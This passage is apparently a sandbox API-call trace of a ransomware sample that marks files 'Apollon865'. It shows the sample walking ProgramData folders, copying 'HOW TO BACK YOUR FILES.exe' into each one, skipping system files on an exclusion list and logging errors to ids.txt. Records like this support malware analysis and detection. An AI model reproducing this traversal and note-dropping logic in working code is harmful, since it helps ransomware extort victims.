	[0050.478] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0050.478] FindNextFileW (in: hFindFile=0x5ca550, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f33ef90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f33ef90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 0
	[0050.478] FindClose (in: hFindFile=0x5ca550 | out: hFindFile=0x5ca550) returned 1
	[0050.478] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ad0
	[0050.478] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Sun\\Java\\Java Update", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Sun\\Java\\Java Update") returned="C:\\ProgramData\\Sun\\Java\\Java Update"
	[0050.478] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bde88 | out: hHeap=0x580000) returned 1
	[0050.478] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0050.478] lstrlenW (lpString="C:\\ProgramData\\Sun\\Java\\Java Update") returned 35
	[0050.478] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Sun\\Java\\Java Update" | out: lpString1="C:\\ProgramData\\Sun\\Java\\Java Update") returned="C:\\ProgramData\\Sun\\Java\\Java Update"
	[0050.478] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.478] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\sun\\java\\java update\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.478] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.479] GetLastError () returned 0x0
	[0050.479] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.479] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.479] CloseHandle (hObject=0x15c) returned 1
	[0050.479] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.479] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.479] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f33ef90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f33ef90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca550
	[0050.479] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.479] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.479] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.479] FindNextFileW (in: hFindFile=0x5ca550, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f33ef90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f33ef90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.479] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.479] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.479] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.479] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.479] FindNextFileW (in: hFindFile=0x5ca550, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f318e30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f318e30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.479] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.479] FindNextFileW (in: hFindFile=0x5ca550, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x2f33ef90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jaureglist.xml.Apollon865", cAlternateFileName="JAUREG~1.APO")) returned 1
	[0050.479] lstrcmpiW (lpString1="jaureglist.xml.Apollon865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.479] lstrcmpiW (lpString1="jaureglist.xml.Apollon865", lpString2="Apollon865.txt.exe") returned 1
	[0050.479] lstrcmpiW (lpString1="jaureglist.xml.Apollon865", lpString2=".") returned 1
	[0050.479] lstrcmpiW (lpString1="jaureglist.xml.Apollon865", lpString2="..") returned 1
	[0050.479] lstrcmpiW (lpString1="jaureglist.xml.Apollon865", lpString2="windows") returned -1
	[0050.479] lstrcmpiW (lpString1="jaureglist.xml.Apollon865", lpString2="bootmgr") returned 1
	[0050.480] lstrcmpiW (lpString1="jaureglist.xml.Apollon865", lpString2="temp") returned -1
	[0050.480] lstrcmpiW (lpString1="jaureglist.xml.Apollon865", lpString2="pagefile.sys") returned -1
	[0050.480] lstrcmpiW (lpString1="jaureglist.xml.Apollon865", lpString2="boot") returned 1
	[0050.480] lstrcmpiW (lpString1="jaureglist.xml.Apollon865", lpString2="ids.txt") returned 1
	[0050.480] lstrcmpiW (lpString1="jaureglist.xml.Apollon865", lpString2="ntuser.dat") returned -1
	[0050.480] lstrcmpiW (lpString1="jaureglist.xml.Apollon865", lpString2="perflogs") returned -1
	[0050.480] lstrcmpiW (lpString1="jaureglist.xml.Apollon865", lpString2="MSBuild") returned -1
	[0050.480] lstrlenW (lpString="jaureglist.xml.Apollon865") returned 25
	[0050.480] lstrlenW (lpString="C:\\ProgramData\\Sun\\Java\\Java Update\\*") returned 37
	[0050.480] lstrcpyW (in: lpString1=0x2d3e598, lpString2="jaureglist.xml.Apollon865" | out: lpString1="jaureglist.xml.Apollon865") returned="jaureglist.xml.Apollon865"
	[0050.480] lstrlenW (lpString="jaureglist.xml.Apollon865") returned 25
	[0050.480] lstrlenW (lpString="Apollon865") returned 10
	[0050.480] lstrcmpiW (lpString1="Apollon865", lpString2="Apollon865") returned 0
	[0050.480] FindNextFileW (in: hFindFile=0x5ca550, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x2f33ef90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jaureglist.xml.Apollon865", cAlternateFileName="JAUREG~1.APO")) returned 0
	[0050.480] FindClose (in: hFindFile=0x5ca550 | out: hFindFile=0x5ca550) returned 1
	[0050.480] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c30
	[0050.480] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Start Menu", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Start Menu") returned="C:\\ProgramData\\Start Menu"
	[0050.480] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca510 | out: hHeap=0x580000) returned 1
	[0050.480] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0050.480] lstrlenW (lpString="C:\\ProgramData\\Start Menu") returned 25
	[0050.480] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Start Menu" | out: lpString1="C:\\ProgramData\\Start Menu") returned="C:\\ProgramData\\Start Menu"
	[0050.480] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.480] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\start menu\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.481] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.481] GetLastError () returned 0x0
	[0050.481] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.481] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.481] CloseHandle (hObject=0x15c) returned 1
	[0050.481] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.481] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.481] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Start Menu\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x2f33ef90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jaureglist.xml.Apollon865", cAlternateFileName="JAUREG~1.APO")) returned 0xffffffff
	[0050.481] GetLastError () returned 0x5
	[0050.481] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\ProgramData\\Start Menu\\* FindFirstFile error 5\r\n") returned 59
	[0050.481] lstrlenA (lpString="[ERROR] C:\\ProgramData\\Start Menu\\* FindFirstFile error 5\r\n") returned 59
	[0050.481] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.482] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x164a
	[0050.482] WriteFile (in: hFile=0x15c, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x3b, lpOverlapped=0x0) returned 1
	[0050.482] CloseHandle (hObject=0x15c) returned 1
	[0050.482] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ab0
	[0050.482] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache"
	[0050.482] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b6310 | out: hHeap=0x580000) returned 1
	[0050.482] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0050.482] lstrlenW (lpString="C:\\ProgramData\\Package Cache") returned 28
	[0050.482] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache" | out: lpString1="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache"
	[0050.482] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.483] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.483] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.483] GetLastError () returned 0x0
	[0050.483] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.483] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.483] CloseHandle (hObject=0x15c) returned 1
	[0050.483] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.483] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.483] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f3650f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f3650f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.483] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.483] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.484] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.484] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f3650f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f3650f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.484] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.484] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.484] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.484] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.484] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6aaf30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6aaf30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="42D5BEC7DDFBD49E76467529CBC2868987BF8460", cAlternateFileName="42D5BE~1")) returned 1
	[0050.484] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.484] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="Apollon865.txt.exe") returned -1
	[0050.484] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2=".") returned 1
	[0050.484] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="..") returned 1
	[0050.484] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="windows") returned -1
	[0050.484] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="bootmgr") returned -1
	[0050.484] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="temp") returned -1
	[0050.484] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="pagefile.sys") returned -1
	[0050.484] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="boot") returned -1
	[0050.484] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="ids.txt") returned -1
	[0050.484] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="ntuser.dat") returned -1
	[0050.484] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="perflogs") returned -1
	[0050.484] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="MSBuild") returned -1
	[0050.484] lstrlenW (lpString="42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned 40
	[0050.484] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\*") returned 30
	[0050.484] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="42D5BEC7DDFBD49E76467529CBC2868987BF8460" | out: lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned="42D5BEC7DDFBD49E76467529CBC2868987BF8460"
	[0050.484] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0050.484] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8c) returned 0x5c8f30
	[0050.484] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0050.484] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f638b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f638b10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", cAlternateFileName="54050A~1")) returned 1
	[0050.484] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.484] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="Apollon865.txt.exe") returned -1
	[0050.484] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2=".") returned 1
	[0050.484] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="..") returned 1
	[0050.485] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="windows") returned -1
	[0050.485] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="bootmgr") returned -1
	[0050.485] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="temp") returned -1
	[0050.485] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="pagefile.sys") returned -1
	[0050.485] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="boot") returned -1
	[0050.485] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="ids.txt") returned -1
	[0050.485] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="ntuser.dat") returned -1
	[0050.485] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="perflogs") returned -1
	[0050.485] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="MSBuild") returned -1
	[0050.485] lstrlenW (lpString="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned 40
	[0050.485] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned 69
	[0050.485] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" | out: lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D"
	[0050.485] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0050.485] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8c) returned 0x599450
	[0050.485] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0050.485] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f3650f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f3650f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.485] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.485] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6129b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6129b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", cAlternateFileName="{13A4E~1.210")) returned 1
	[0050.485] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.485] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="Apollon865.txt.exe") returned -1
	[0050.485] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2=".") returned 1
	[0050.485] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="..") returned 1
	[0050.485] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="windows") returned -1
	[0050.485] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="bootmgr") returned -1
	[0050.485] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="temp") returned -1
	[0050.485] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="pagefile.sys") returned -1
	[0050.485] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="boot") returned -1
	[0050.485] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="ids.txt") returned -1
	[0050.485] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="ntuser.dat") returned -1
	[0050.485] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="perflogs") returned -1
	[0050.485] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="MSBuild") returned -1
	[0050.485] lstrlenW (lpString="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned 49
	[0050.486] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned 69
	[0050.486] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005"
	[0050.486] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0050.486] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9e) returned 0x5994e8
	[0050.486] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
